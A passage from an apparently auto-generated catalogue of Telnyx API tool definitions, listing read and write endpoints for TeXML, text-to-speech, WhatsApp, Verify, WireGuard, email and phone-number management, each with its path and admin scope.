telnyx_get_texml_accounts_by_account_sid_conferences_by_conference_sid_participants_by_call_sid_or_participant_label (read) — Returns a single conference participant resource by call SID or participant label. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants/{call_sid_or_participant_label} GET /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants/{call_sid_or_participant_label}. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_conferences_by_conference_sid_recordings (read) — Returns the list of recordings made for the specified conference. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Conferences/{conference_sid}/Recordings GET /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}/Recordings. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_conferences_by_conference_sid_recordings_json (read) — Returns recordings for a conference identified by conference_sid. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Conferences/{conference_sid}/Recordings.json GET /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}/Recordings.json. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_queues (read) — Returns a paginated list of queue resources for the account, with support for filtering by creation or update dates. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Queues GET /api/v1/telnyx/texml/Accounts/{account_sid}/Queues. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_queues_by_queue_sid (read) — Returns a single queue resource for the account by its QueueSid. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Queues/{queue_sid} GET /api/v1/telnyx/texml/Accounts/{account_sid}/Queues/{queue_sid}. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_recordings_by_recording_sid_json (read) — Returns recording resource identified by recording id. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Recordings/{recording_sid}.json GET /api/v1/telnyx/texml/Accounts/{account_sid}/Recordings/{recording_sid}.json. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_recordings_json (read) — Returns multiple recording resources for an account. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Recordings.json GET /api/v1/telnyx/texml/Accounts/{account_sid}/Recordings.json. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_transcriptions_by_recording_transcription_sid_json (read) — Returns the recording transcription resource identified by its ID. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Transcriptions/{recording_transcription_sid}.json GET /api/v1/telnyx/texml/Accounts/{account_sid}/Transcriptions/{recording_transcription_sid}.json. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_transcriptions_json (read) — Returns multiple recording transcription resources for an account. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Transcriptions.json GET /api/v1/telnyx/texml/Accounts/{account_sid}/Transcriptions.json. Scopes: admin. telnyx_get_texml_applications (read) — Returns a list of your TeXML Applications. [TeXML Applications] via GET /texml_applications GET /api/v1/telnyx/texml_applications. Scopes: admin. telnyx_get_texml_applications_by_id (read) — Retrieves the details of an existing TeXML Application. [TeXML Applications] via GET /texml_applications/{id} GET /api/v1/telnyx/texml_applications/{id}. Scopes: admin. telnyx_get_text_to_speech_speech (read) — Open a WebSocket connection to stream text and receive synthesized audio in real time. Authentication is provided via the standard Authorization: Bearer header. Send JSON frames with text to synthesize; receive JSON frames containing base64-encoded audio chunks. Supported providers: aws, telnyx, azure, murfai, minimax, rime, resemble, elevenlabs, xai, humain. Connection flow: 1. Open WebSocket with query parameters specifying provider, voice, and model. 2. Send an initial handshake message {"text": " "} (single space) with optional voice_settings to initialize the session. 3. Send text messages as {"text": "Hello world"}. 4. Receive audio chunks as JSON frames with base64-encoded audio. 5. A final frame with isFinal: true indicates the end of audio for the current text. To interrupt and restart synthesis mid-stream, send {"force": true} — the current worker is stopped and a new one is started. Note: The Telnyx Ultra model is not available over WebSocket. Use the HTTP POST /text-to-speech/speech endpoint instead. [Text To Speech Commands] via GET /text-to-speech/speech GET /api/v1/telnyx/text-to-speech/speech. Scopes: admin. telnyx_get_text_to_speech_voices (read) — Retrieve a list of available voices from one or all TTS providers. When provider is specified, returns voices for that provider only. Otherwise, returns voices from all providers. Some providers (ElevenLabs, Resemble) require an API key to list voices. [Text To Speech Commands] via GET /text-to-speech/voices GET /api/v1/telnyx/text-to-speech/voices. Scopes: admin. telnyx_get_traffic_policy_profiles (read) — Get all traffic policy profiles belonging to the user that match the given filters. [Traffic Policy Profiles] via GET /traffic_policy_profiles GET /api/v1/telnyx/traffic_policy_profiles. Scopes: admin. telnyx_get_traffic_policy_profiles_by_id (read) — Returns the details regarding a specific traffic policy profile. [Traffic Policy Profiles] via GET /traffic_policy_profiles/{id} GET /api/v1/telnyx/traffic_policy_profiles/{id}. Scopes: admin. telnyx_get_traffic_policy_profiles_services (read) — Get all available PCEF services that can be used in traffic policy profiles. [Traffic Policy Profiles] via GET /traffic_policy_profiles/services GET /api/v1/telnyx/traffic_policy_profiles/services. Scopes: admin. telnyx_get_uac_connections (read) — Returns a list of your UAC connections. A UAC (User Agent Client) Connection registers Telnyx to your PBX — the opposite of a standard SIP trunk, where the PBX registers to Telnyx. Use UAC when your PBX doesn’t support outbound SIP registration or you need Telnyx to maintain the registration. [UAC Connections] via GET /uac_connections GET /api/v1/telnyx/uac_connections. Scopes: admin. telnyx_get_uac_connections_by_id (read) — Retrieves the details of an existing UAC connection. [UAC Connections] via GET /uac_connections/{id} GET /api/v1/telnyx/uac_connections/{id}. Scopes: admin. telnyx_get_usage_reports (read) — Get Telnyx usage data by product, broken out by the specified dimensions [Usage Reports (BETA)] via GET /usage_reports GET /api/v1/telnyx/usage_reports. Scopes: admin. telnyx_get_usage_reports_options (read) — Get the Usage Reports options for querying usage, including the products available and their respective metrics and dimensions [Usage Reports (BETA)] via GET /usage_reports/options GET /api/v1/telnyx/usage_reports/options. Scopes: admin. telnyx_get_user_addresses (read) — Returns a paginated list of your user addresses, with support for filtering and sorting. [UserAddresses] via GET /user_addresses GET /api/v1/telnyx/user_addresses. Scopes: admin. telnyx_get_user_addresses_by_id (read) — Retrieves the details of an existing user address. [UserAddresses] via GET /user_addresses/{id} GET /api/v1/telnyx/user_addresses/{id}. Scopes: admin. telnyx_get_user_tags (read) — Returns the user tags defined on your account, with support for filtering. Tags help organize resources such as phone numbers. [User Tags] via GET /user_tags GET /api/v1/telnyx/user_tags. Scopes: admin. telnyx_get_v2_mobile_phone_numbers (read) — Retrieve a paginated list of mobile phone numbers on your account. [Mobile Phone Numbers] via GET /mobile_phone_numbers GET /api/v1/telnyx/mobile_phone_numbers. Scopes: admin. telnyx_get_v2_mobile_phone_numbers_by_id (read) — Retrieve the details of a specific mobile phone number. [Mobile Phone Numbers] via GET /mobile_phone_numbers/{id} GET /api/v1/telnyx/mobile_phone_numbers/{id}. Scopes: admin. telnyx_get_v2_mobile_voice_connections (read) — Retrieve a paginated list of mobile voice connections on your account. [Mobile Voice Connections] via GET /mobile_voice_connections GET /api/v1/telnyx/mobile_voice_connections. Scopes: admin. telnyx_get_v2_mobile_voice_connections_by_id (read) — Retrieve the details of a specific mobile voice connection. [Mobile Voice Connections] via GET /mobile_voice_connections/{id} GET /api/v1/telnyx/mobile_voice_connections/{id}. Scopes: admin. telnyx_get_v2_whatsapp_user_data (read) — Returns the WhatsApp user-data settings associated with the authenticated Telnyx account. [Whatsapp Business Accounts] via GET /whatsapp/user_data GET /api/v1/telnyx/whatsapp/user_data. Scopes: admin. telnyx_get_verifications_by_phone_number_by_phone_number (read) — Returns a paginated list of verifications associated with the specified phone number. [Verify] via GET /verifications/by_phone_number/{phone_number} GET /api/v1/telnyx/verifications/by_phone_number/{phone_number}. Scopes: admin. telnyx_get_verifications_by_verification_id (read) — Returns the verification identified by ID, including its channel, phone number, Verify profile, timeout, and current status. [Verify] via GET /verifications/{verification_id} GET /api/v1/telnyx/verifications/{verification_id}. Scopes: admin. telnyx_get_verified_numbers (read) — Gets a paginated list of Verified Numbers. [Verified Numbers] via GET /verified_numbers GET /api/v1/telnyx/verified_numbers. Scopes: admin. telnyx_get_verified_numbers_by_phone_number (read) — Retrieve the details of a verified number on your account. [Verified Numbers] via GET /verified_numbers/{phone_number} GET /api/v1/telnyx/verified_numbers/{phone_number}. Scopes: admin. telnyx_get_verify_profiles (read) — Gets a paginated list of Verify profiles. [Verify] via GET /verify_profiles GET /api/v1/telnyx/verify_profiles. Scopes: admin. telnyx_get_verify_profiles_by_verify_profile_id (read) — Returns the details of a single Verify profile by its ID, including its verification channel configuration. [Verify] via GET /verify_profiles/{verify_profile_id} GET /api/v1/telnyx/verify_profiles/{verify_profile_id}. Scopes: admin. telnyx_get_verify_profiles_templates (read) — List all Verify profile message templates. [Verify] via GET /verify_profiles/templates GET /api/v1/telnyx/verify_profiles/templates. Scopes: admin. telnyx_get_virtual_cross_connects (read) — Returns a paginated list of the virtual cross connects on your account, with support for filtering. [Virtual Cross Connects] via GET /virtual_cross_connects GET /api/v1/telnyx/virtual_cross_connects. Scopes: admin. telnyx_get_virtual_cross_connects_by_id (read) — Returns the details of a single virtual cross connect by its identifier. [Virtual Cross Connects] via GET /virtual_cross_connects/{id} GET /api/v1/telnyx/virtual_cross_connects/{id}. Scopes: admin. telnyx_get_virtual_cross_connects_coverage (read) — List Virtual Cross Connects Cloud Coverage. This endpoint shows which cloud regions are available for the location_code your Virtual Cross Connect will be provisioned in. [Virtual Cross Connects] via GET /virtual_cross_connects_coverage GET /api/v1/telnyx/virtual_cross_connects_coverage. Scopes: admin. telnyx_get_voice_clones (read) — Returns a paginated list of voice clones belonging to the authenticated account. [Voice Clones] via GET /voice_clones GET /api/v1/telnyx/voice_clones. Scopes: admin. telnyx_get_voice_designs (read) — Returns a paginated list of voice designs belonging to the authenticated account. [Voice Designs] via GET /voice_designs GET /api/v1/telnyx/voice_designs. Scopes: admin. telnyx_get_voice_designs_by_id (read) — Returns the latest version of a voice design, or a specific version when ?version=N is provided. The id parameter accepts either a UUID or the design name. [Voice Designs] via GET /voice_designs/{id} GET /api/v1/telnyx/voice_designs/{id}. Scopes: admin. telnyx_get_voice_sdk_call_reports (read) — Returns paginated raw call report stats JSON payloads stored for the authenticated user. The user is derived from Telnyx authentication, not from request parameters. [Voice SDK Stats] via GET /voice_sdk_call_reports GET /api/v1/telnyx/voice_sdk_call_reports. Scopes: admin. telnyx_get_voice_sdk_call_reports_by_call_id (read) — Returns raw call report stats JSON payloads stored for the authenticated user and call_id. The user is derived from Telnyx authentication, not from request parameters. [Voice SDK Stats] via GET /voice_sdk_call_reports/{call_id} GET /api/v1/telnyx/voice_sdk_call_reports/{call_id}. Scopes: admin. telnyx_get_web_search_research_by_task_id (read) — Polls the status of a previously started asynchronous research task. When the status is completed, the response includes the answer and citations. When the status is failed, the response includes an error message. [Research] via GET /web_search/research/{task_id} GET /api/v1/telnyx/web_search/research/{task_id}. Scopes: admin. telnyx_get_webhook_deliveries (read) — Lists webhook_deliveries for the authenticated user [Webhooks] via GET /webhook_deliveries GET /api/v1/telnyx/webhook_deliveries. Scopes: admin. telnyx_get_webhook_deliveries_by_id (read) — Provides webhook_delivery debug data, such as timestamps, delivery status and attempts. [Webhooks] via GET /webhook_deliveries/{id} GET /api/v1/telnyx/webhook_deliveries/{id}. Scopes: admin. telnyx_get_well_known_oauth_authorization_server (read) — OAuth 2.0 Authorization Server Metadata (RFC 8414) [OAuth Discovery] via GET /.well-known/oauth-authorization-server GET /api/v1/telnyx/.well-known/oauth-authorization-server. Scopes: admin. telnyx_get_well_known_oauth_protected_resource (read) — OAuth 2.0 Protected Resource Metadata for resource discovery [OAuth Discovery] via GET /.well-known/oauth-protected-resource GET /api/v1/telnyx/.well-known/oauth-protected-resource. Scopes: admin. telnyx_get_whatsapp_business_accounts (read) — Retrieve a list of the WhatsApp Business Accounts (WABAs) connected to your Telnyx account. [Whatsapp Business Accounts] via GET /whatsapp/business_accounts GET /api/v1/telnyx/whatsapp/business_accounts. Scopes: admin. telnyx_get_whatsapp_business_accounts_by_id (read) — Retrieve the details of a specific WhatsApp Business Account. [Whatsapp Business Accounts] via GET /whatsapp/business_accounts/{id} GET /api/v1/telnyx/whatsapp/business_accounts/{id}. Scopes: admin. telnyx_get_whatsapp_business_accounts_by_id_phone_numbers (read) — List the phone numbers associated with a WhatsApp Business Account. [Whatsapp Business Accounts] via GET /whatsapp/business_accounts/{id}/phone_numbers GET /api/v1/telnyx/whatsapp/business_accounts/{id}/phone_numbers. Scopes: admin. telnyx_get_whatsapp_business_accounts_by_id_settings (read) — Retrieve the settings of a WhatsApp Business Account. [Whatsapp Business Accounts] via GET /whatsapp/business_accounts/{id}/settings GET /api/v1/telnyx/whatsapp/business_accounts/{id}/settings. Scopes: admin. telnyx_get_whatsapp_message_templates (read) — Retrieve the WhatsApp message templates for your WhatsApp Business Accounts. [Whatsapp Message Templates] via GET /whatsapp/message_templates GET /api/v1/telnyx/whatsapp/message_templates. Scopes: admin. telnyx_get_whatsapp_message_templates_by_id (read) — Retrieve a specific WhatsApp message template by its ID. [Whatsapp Message Templates] via GET /whatsapp/message_templates/{id} GET /api/v1/telnyx/whatsapp/message_templates/{id}. Scopes: admin. telnyx_get_whatsapp_phone_numbers (read) — Retrieve a list of the phone numbers registered for WhatsApp on your account. [Whatsapp Phone Numbers] via GET /whatsapp/phone_numbers GET /api/v1/telnyx/whatsapp/phone_numbers. Scopes: admin. telnyx_get_whatsapp_phone_numbers_by_phone_number_calling_settings (read) — Retrieve the WhatsApp calling settings for a phone number. [Whatsapp Phone Numbers] via GET /whatsapp/phone_numbers/{phone_number}/calling_settings GET /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/calling_settings. Scopes: admin. telnyx_get_whatsapp_phone_numbers_by_phone_number_conversation_window (read) — Returns whether the 24-hour conversation window is currently open for a given source/destination pair. If window_active is false, only template messages may be sent. [Whatsapp Phone Numbers] via GET /whatsapp/phone_numbers/{phone_number}/conversation_window GET /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/conversation_window. Scopes: admin. telnyx_get_whatsapp_phone_numbers_by_phone_number_conversational_components (read) — Retrieve the conversational components configuration for a WhatsApp phone number. [Whatsapp Phone Numbers] via GET /whatsapp/phone_numbers/{phone_number}/conversational_components GET /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/conversational_components. Scopes: admin. telnyx_get_whatsapp_phone_numbers_by_phone_number_profile (read) — Retrieve the WhatsApp business profile associated with a phone number. [Whatsapp Phone Numbers] via GET /whatsapp/phone_numbers/{phone_number}/profile GET /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/profile. Scopes: admin. telnyx_get_whatsapp_phone_numbers_by_phone_number_profile_photo (read) — Retrieve the profile photo of a WhatsApp phone number. [Whatsapp Phone Numbers] via GET /whatsapp/phone_numbers/{phone_number}/profile/photo GET /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/profile/photo. Scopes: admin. telnyx_get_wireguard_interfaces (read) — Returns a paginated list of the WireGuard interfaces on your account, with support for filtering. [WireGuard Interfaces] via GET /wireguard_interfaces GET /api/v1/telnyx/wireguard_interfaces. Scopes: admin. telnyx_get_wireguard_interfaces_by_id (read) — Returns the details of a single WireGuard interface by its identifier. [WireGuard Interfaces] via GET /wireguard_interfaces/{id} GET /api/v1/telnyx/wireguard_interfaces/{id}. Scopes: admin. telnyx_get_wireguard_peers (read) — Returns a paginated list of your WireGuard peers, with support for filtering. [WireGuard Interfaces] via GET /wireguard_peers GET /api/v1/telnyx/wireguard_peers. Scopes: admin. telnyx_get_wireguard_peers_by_id (read) — Returns the details of a single WireGuard peer by its identifier. [WireGuard Interfaces] via GET /wireguard_peers/{id} GET /api/v1/telnyx/wireguard_peers/{id}. Scopes: admin. telnyx_get_wireguard_peers_by_id_config (read) — Retrieve Wireguard config template for Peer [WireGuard Interfaces] via GET /wireguard_peers/{id}/config GET /api/v1/telnyx/wireguard_peers/{id}/config. Scopes: admin. telnyx_get_wireless_blocklist_values (read) — Retrieve all wireless blocklist values for a given blocklist type. [Wireless Blocklists] via GET /wireless_blocklist_values GET /api/v1/telnyx/wireless_blocklist_values. Scopes: admin. telnyx_get_wireless_blocklists (read) — Get all Wireless Blocklists belonging to the user. [Wireless Blocklists] via GET /wireless_blocklists GET /api/v1/telnyx/wireless_blocklists. Scopes: admin. telnyx_get_wireless_blocklists_by_id (read) — Retrieve information about a Wireless Blocklist. [Wireless Blocklists] via GET /wireless_blocklists/{id} GET /api/v1/telnyx/wireless_blocklists/{id}. Scopes: admin. telnyx_get_wireless_detail_records_reports (read) — Returns the WDR Reports that match the given parameters. [Reporting] via GET /wireless/detail_records_reports GET /api/v1/telnyx/wireless/detail_records_reports. Scopes: admin. telnyx_get_wireless_detail_records_reports_by_id (read) — Returns a single Wireless Detail Record (WDR) report by its identifier, including its parameters and current status. [Reporting] via GET /wireless/detail_records_reports/{id} GET /api/v1/telnyx/wireless/detail_records_reports/{id}. Scopes: admin. telnyx_get_wireless_regions (read) — Retrieve all wireless regions for the given product. [Wireless Regions] via GET /wireless/regions GET /api/v1/telnyx/wireless/regions. Scopes: admin. telnyx_patch_10dlc_partner_campaigns_by_campaignid (write) — Update campaign details by campaignId. Please note: Only webhook urls are editable. [Shared Campaigns] via PATCH /10dlc/partner_campaigns/{campaignId} PATCH /api/v1/telnyx/10dlc/partner_campaigns/{campaignId}. Scopes: admin. telnyx_patch_advanced_orders_by_advanced_order_id_requirement_group (write) — Updates the requirement-group configuration for the specified advanced number order. The response contains the updated advanced order. [Advanced Number Orders] via PATCH /advanced_orders/{advanced-order-id}/requirement_group PATCH /api/v1/telnyx/advanced_orders/{advanced_order_id}/requirement_group. Scopes: admin. telnyx_patch_ai_collections_by_uuid (write) — Updates a collection's metadata (name and/or description). Sources and settings are managed through their own sub-resources. [AI Collections] via PATCH /ai/collections/{uuid} PATCH /api/v1/telnyx/ai/collections/{uuid}. Scopes: admin. telnyx_patch_ai_collections_by_uuid_settings (write) — Partially updates the collection's retrieval settings. [AI Collections] via PATCH /ai/collections/{uuid}/settings PATCH /api/v1/telnyx/ai/collections/{uuid}/settings. Scopes: admin. telnyx_patch_ai_missions_by_mission_id_runs_by_run_id (write) — Updates a run's status and/or result and returns the updated run object. Typically used by executing agents to report progress or record the final outcome. [Missions] via PATCH /ai/missions/{mission_id}/runs/{run_id} PATCH /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}. Scopes: admin. telnyx_patch_ai_missions_by_mission_id_runs_by_run_id_plan_steps_by_step_id (write) — Updates the status of a single plan step and returns the updated step. Typically called by the executing agent as it works through the plan. [Missions] via PATCH /ai/missions/{mission_id}/runs/{run_id}/plan/steps/{step_id} PATCH /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/plan/steps/{step_id}. Scopes: admin. telnyx_patch_ai_tools_by_tool_id (write) — Update the configuration of an existing AI tool. [Assistants] via PATCH /ai/tools/{tool_id} PATCH /api/v1/telnyx/ai/tools/{tool_id}. Scopes: admin. telnyx_patch_authentication_providers_by_id (write) — Updates settings of an existing authentication provider. [Authentication Providers] via PATCH /authentication_providers/{id} PATCH /api/v1/telnyx/authentication_providers/{id}. Scopes: admin. telnyx_patch_billing_groups_by_id (write) — Update the properties of an existing billing group. [Billing Groups] via PATCH /billing_groups/{id} PATCH /api/v1/telnyx/billing_groups/{id}. Scopes: admin. telnyx_patch_call_control_applications_by_id (write) — Updates settings of an existing call control application. [Call Control Applications] via PATCH /call_control_applications/{id} PATCH /api/v1/telnyx/call_control_applications/{id}. Scopes: admin. telnyx_patch_comments_by_id_read (write) — Marks the specified comment as read. The response contains the updated read state for the comment. [Phone Number Orders] via PATCH /comments/{id}/read PATCH /api/v1/telnyx/comments/{id}/read. Scopes: admin. telnyx_patch_conferences_by_id_participants_by_participant_id (write) — Update properties of a conference participant. [Conference Commands] via PATCH /conferences/{id}/participants/{participant_id} PATCH /api/v1/telnyx/conferences/{id}/participants/{participant_id}. Scopes: admin. telnyx_patch_credential_connections_by_id (write) — Updates settings of an existing credential connection. [Credential Connections] via PATCH /credential_connections/{id} PATCH /api/v1/telnyx/credential_connections/{id}. Scopes: admin. telnyx_patch_dir_by_dir_id (write) — Edit a DIR. DIRs in draft, rejected, unsuccessful, or suspended can be edited freely: PATCH is a pure edit, status is never changed, and you re-vet by calling POST /v2/dir/{dir_id}/submit explicitly. A verified DIR can also be edited in place: a PATCH that changes any value returns the DIR to draft and branded delivery stops until you re-submit and the DIR is approved again, while a PATCH that changes nothing (an empty body or values identical to the current ones) leaves the DIR verified, so idempotent retries are safe. DIRs in any other status (submitted, in_review, expired, infringement_claimed, permanently_rejected) cannot be edited. [Display Identity Records] via PATCH /dir/{dir_id} PATCH /api/v1/telnyx/dir/{dir_id}. Scopes: admin. telnyx_patch_dir_by_dir_id_references_by_ref_type_by_slot (write) — Partially update one reference, addressed by the DIR id plus the reference's type (business or financial) and slot. Cosmetic fields (full name, job title, organization, relationship, email) are always editable. The phone number and timezone may only be changed while a scheduled call has not yet been dialed; if a call is in progress or all attempts are complete, those fields are locked. Changing the timezone reschedules any pending call into the new local calling window. [DIR References] via PATCH /dir/{dir_id}/references/{ref_type}/{slot} PATCH /api/v1/telnyx/dir/{dir_id}/references/{ref_type}/{slot}. Scopes: admin. telnyx_patch_documents_by_id (write) — Updates the specified document's attributes and returns the updated document. [Documents] via PATCH /documents/{id} PATCH /api/v1/telnyx/documents/{id}. Scopes: admin. telnyx_patch_email_domains_by_domain_id_webhooks_by_id (write) — Update a webhook's URL and/or event subscription. A webhook is bound to its domain — domain_id is not mutable. [Email Webhooks] via PATCH /email_domains/{domain_id}/webhooks/{id} PATCH /api/v1/telnyx/email_domains/{domain_id}/webhooks/{id}. Scopes: admin. telnyx_patch_email_domains_by_id (write) — Updates mutable settings for an existing email domain, including inbound delivery and tracking configuration. Shared domains are read-only for non-owner accounts. [Email Domains] via PATCH /email_domains/{id} PATCH /api/v1/telnyx/email_domains/{id}. Scopes: admin. telnyx_patch_email_inboxes_by_inbox_id_drafts_by_draft_id (write) — Identical to PUT; both apply a partial update to the supplied fields. [Email Drafts] via PATCH /email_inboxes/{inbox_id}/drafts/{draft_id} PATCH /api/v1/telnyx/email_inboxes/{inbox_id}/drafts/{draft_id}. Scopes: admin. telnyx_patch_email_inboxes_by_inbox_id_messages_by_message_id (write) — Updates the explicit read state of an account-scoped inbound message. Set read_at to true to mark the message read at the server's current time, to an ISO 8601 timestamp to use that timestamp, or to null to mark the message unread. Repeating the same update is idempotent. [Email Inboxes] via PATCH /email_inboxes/{inbox_id}/messages/{message_id} PATCH /api/v1/telnyx/email_inboxes/{inbox_id}/messages/{message_id}. Scopes: admin. telnyx_patch_email_templates_by_id (write) — Updates one or more fields of the specified email template and returns the updated template. [Email Templates] via PATCH /email_templates/{id} PATCH /api/v1/telnyx/email_templates/{id}. Scopes: admin. telnyx_patch_email_unsubscribe_groups_by_id (write) — Partial update (only name / description). PUT is not routed. [Email Unsubscribe Groups] via PATCH /email_unsubscribe_groups/{id} PATCH /api/v1/telnyx/email_unsubscribe_groups/{id}. Scopes: admin. telnyx_patch_enterprises_by_enterprise_id_reputation_frequency (write) — Update how often Telnyx refreshes the reputation data for this enterprise's registered numbers. The new frequency takes effect on the next scheduled refresh. The enterprise's reputation must be in approved status. A request made while the status is pending is rejected with 400 Bad Request. [Reputation] via PATCH /enterprises/{enterprise_id}/reputation/frequency PATCH /api/v1/telnyx/enterprises/{enterprise_id}/reputation/frequency. Scopes: admin. telnyx_patch_enterprises_by_enterprise_id_reputation_loa (write) — Point the enterprise's reputation settings at a new signed LOA document. This resets LOA approval to pending; the new document must be approved before additional phone numbers can be added. [Reputation] via PATCH /enterprises/{enterprise_id}/reputation/loa PATCH /api/v1/telnyx/enterprises/{enterprise_id}/reputation/loa. Scopes: admin. telnyx_patch_external_connections_by_id (write) — Updates settings of an existing External Connection based on the parameters of the request. [External Connections] via PATCH /external_connections/{id} PATCH /api/v1/telnyx/external_connections/{id}. Scopes: admin. telnyx_patch_external_connections_by_id_locations_by_location_id (write) — Update the static emergency address assigned to a specific location of an external connection. [External Connections] via PATCH /external_connections/{id}/locations/{location_id} PATCH /api/v1/telnyx/external_connections/{id}/locations/{location_id}. Scopes: admin. telnyx_patch_external_connections_by_id_phone_numbers_by_phone_number_id (write) — Asynchronously update settings of the phone number associated with the given external connection. [External Connections] via PATCH /external_connections/{id}/phone_numbers/{phone_number_id} PATCH /api/v1/telnyx/external_connections/{id}/phone_numbers/{phone_number_id}. Scopes: admin. telnyx_patch_fax_applications_by_id (write) — Updates settings of an existing Fax Application based on the parameters of the request. [Programmable Fax Applications] via PATCH /fax_applications/{id} PATCH /api/v1/telnyx/fax_applications/{id}. Scopes: admin. telnyx_patch_fqdn_connections_by_fqdn_connection_id_fqdn_authentication (write) — Updates the FQDN authentication strategy for a specific FQDN connection. [FQDN Connections] via PATCH /fqdn_connections/{fqdn_connection_id}/fqdn_authentication PATCH /api/v1/telnyx/fqdn_connections/{fqdn_connection_id}/fqdn_authentication. Scopes: admin. telnyx_patch_fqdn_connections_by_id (write) — Updates settings of an existing FQDN connection. [FQDN Connections] via PATCH /fqdn_connections/{id} PATCH /api/v1/telnyx/fqdn_connections/{id}. Scopes: admin. telnyx_patch_fqdns_by_id (write) — Updates the details of the specified FQDN record and returns the updated FQDN. [FQDNs] via PATCH /fqdns/{id} PATCH /api/v1/telnyx/fqdns/{id}. Scopes: admin. telnyx_patch_global_ip_assignments_by_id (write) — Updates the specified Global IP assignment with the provided fields and returns the updated assignment. [Global IPs] via PATCH /global_ip_assignments/{id} PATCH /api/v1/telnyx/global_ip_assignments/{id}. Scopes: admin. telnyx_patch_inbound_channels (write) — Update the number of Voice Channels for the US Zone. This allows your account to handle multiple simultaneous inbound calls to US numbers. Use this endpoint to increase or decrease your capacity based on expected call volume. [Voice Channels] via PATCH /inbound_channels PATCH /api/v1/telnyx/inbound_channels. Scopes: admin. telnyx_patch_ip_connections_by_id (write) — Updates settings of an existing IP connection. [IP Connections] via PATCH /ip_connections/{id} PATCH /api/v1/telnyx/ip_connections/{id}. Scopes: admin. telnyx_patch_ips_by_id (write) — Updates the details of the specified IP record and returns the updated IP. [IPs] via PATCH /ips/{id} PATCH /api/v1/telnyx/ips/{id}. Scopes: admin. telnyx_patch_managed_accounts_by_id (write) — Updates the specified managed account's attributes and returns the updated account. [Managed Accounts] via PATCH /managed_accounts/{id} PATCH /api/v1/telnyx/managed_accounts/{id}. Scopes: admin. telnyx_patch_managed_accounts_by_id_update_global_channel_limit (write) — Update the amount of allocatable global outbound channels allocated to a specific managed account. [Managed Accounts] via PATCH /managed_accounts/{id}/update_global_channel_limit PATCH /api/v1/telnyx/managed_accounts/{id}/update_global_channel_limit. Scopes: admin. telnyx_patch_meeting_sessions_by_id (write) — Updates mutable properties of a meeting session. Only sessions in the scheduled state can be updated; any other state returns 409 with the invalid_state error code. All request fields are optional, and an empty object is a valid no-op update. [Meeting Sessions] via PATCH /meeting_sessions/{id} PATCH /api/v1/telnyx/meeting_sessions/{id}. Scopes: admin. telnyx_patch_messaging_hosted_numbers_by_id (write) — Update the messaging settings for a hosted number. [Messaging] via PATCH /messaging_hosted_numbers/{id} PATCH /api/v1/telnyx/messaging_hosted_numbers/{id}. Scopes: admin. telnyx_patch_messaging_profiles_by_id (write) — Updates the supplied settings on the specified messaging profile. Settings omitted from the request remain unchanged. [Profiles] via PATCH /messaging_profiles/{id} PATCH /api/v1/telnyx/messaging_profiles/{id}. Scopes: admin. telnyx_patch_messaging_rcs_agents_by_id (write) — Updates the supplied configuration fields on the specified RCS agent. [RCS] via PATCH /messaging/rcs/agents/{id} PATCH /api/v1/telnyx/messaging/rcs/agents/{id}. Scopes: admin. telnyx_patch_messaging_tollfree_verification_requests_by_id (write) — Update an existing tollfree verification request. This is particularly useful when there are pending customer actions to be taken. [Verification Requests] via PATCH /messaging_tollfree/verification/requests/{id} PATCH /api/v1/telnyx/messaging_tollfree/verification/requests/{id}. Scopes: admin. telnyx_patch_networks_by_id (write) — Updates the specified network's attributes and returns the updated network. [Networks] via PATCH /networks/{id} PATCH /api/v1/telnyx/networks/{id}. Scopes: admin. telnyx_patch_notification_channels_by_id (write) — Updates the specified notification channel and returns the updated channel. [Notifications] via PATCH /notification_channels/{id} PATCH /api/v1/telnyx/notification_channels/{id}. Scopes: admin. telnyx_patch_notification_profiles_by_id (write) — Updates the specified notification profile and returns the updated profile. [Notifications] via PATCH /notification_profiles/{id} PATCH /api/v1/telnyx/notification_profiles/{id}. Scopes: admin. telnyx_patch_number_order_phone_numbers_by_number_order_phone_number_id (write) — Updates requirements for a single phone number within a number order. [Phone Number Orders] via PATCH /number_order_phone_numbers/{number_order_phone_number_id} PATCH /api/v1/telnyx/number_order_phone_numbers/{number_order_phone_number_id}. Scopes: admin. telnyx_patch_number_orders_by_number_order_id (write) — Updates an existing phone number order, for example to satisfy regulatory requirements attached to the order, and returns the updated order. [Phone Number Orders] via PATCH /number_orders/{number_order_id} PATCH /api/v1/telnyx/number_orders/{number_order_id}. Scopes: admin. telnyx_patch_outbound_voice_profiles_by_id (write) — Updates an existing outbound voice profile. [Outbound Voice Profiles] via PATCH /outbound_voice_profiles/{id} PATCH /api/v1/telnyx/outbound_voice_profiles/{id}. Scopes: admin. telnyx_patch_payment_auto_recharge_prefs (write) — Update payment auto recharge preferences. [AutoRechargePreferences] via PATCH /payment/auto_recharge_prefs PATCH /api/v1/telnyx/payment/auto_recharge_prefs. Scopes: admin. telnyx_patch_phone_numbers_by_id (write) — Updates the configurable settings of the specified phone number. The response contains the complete updated phone-number representation. [Phone Number Configurations] via PATCH /phone_numbers/{id} PATCH /api/v1/telnyx/phone_numbers/{id}. Scopes: admin. telnyx_patch_phone_numbers_by_id_actions_bundle_status_change (write) — Adds the 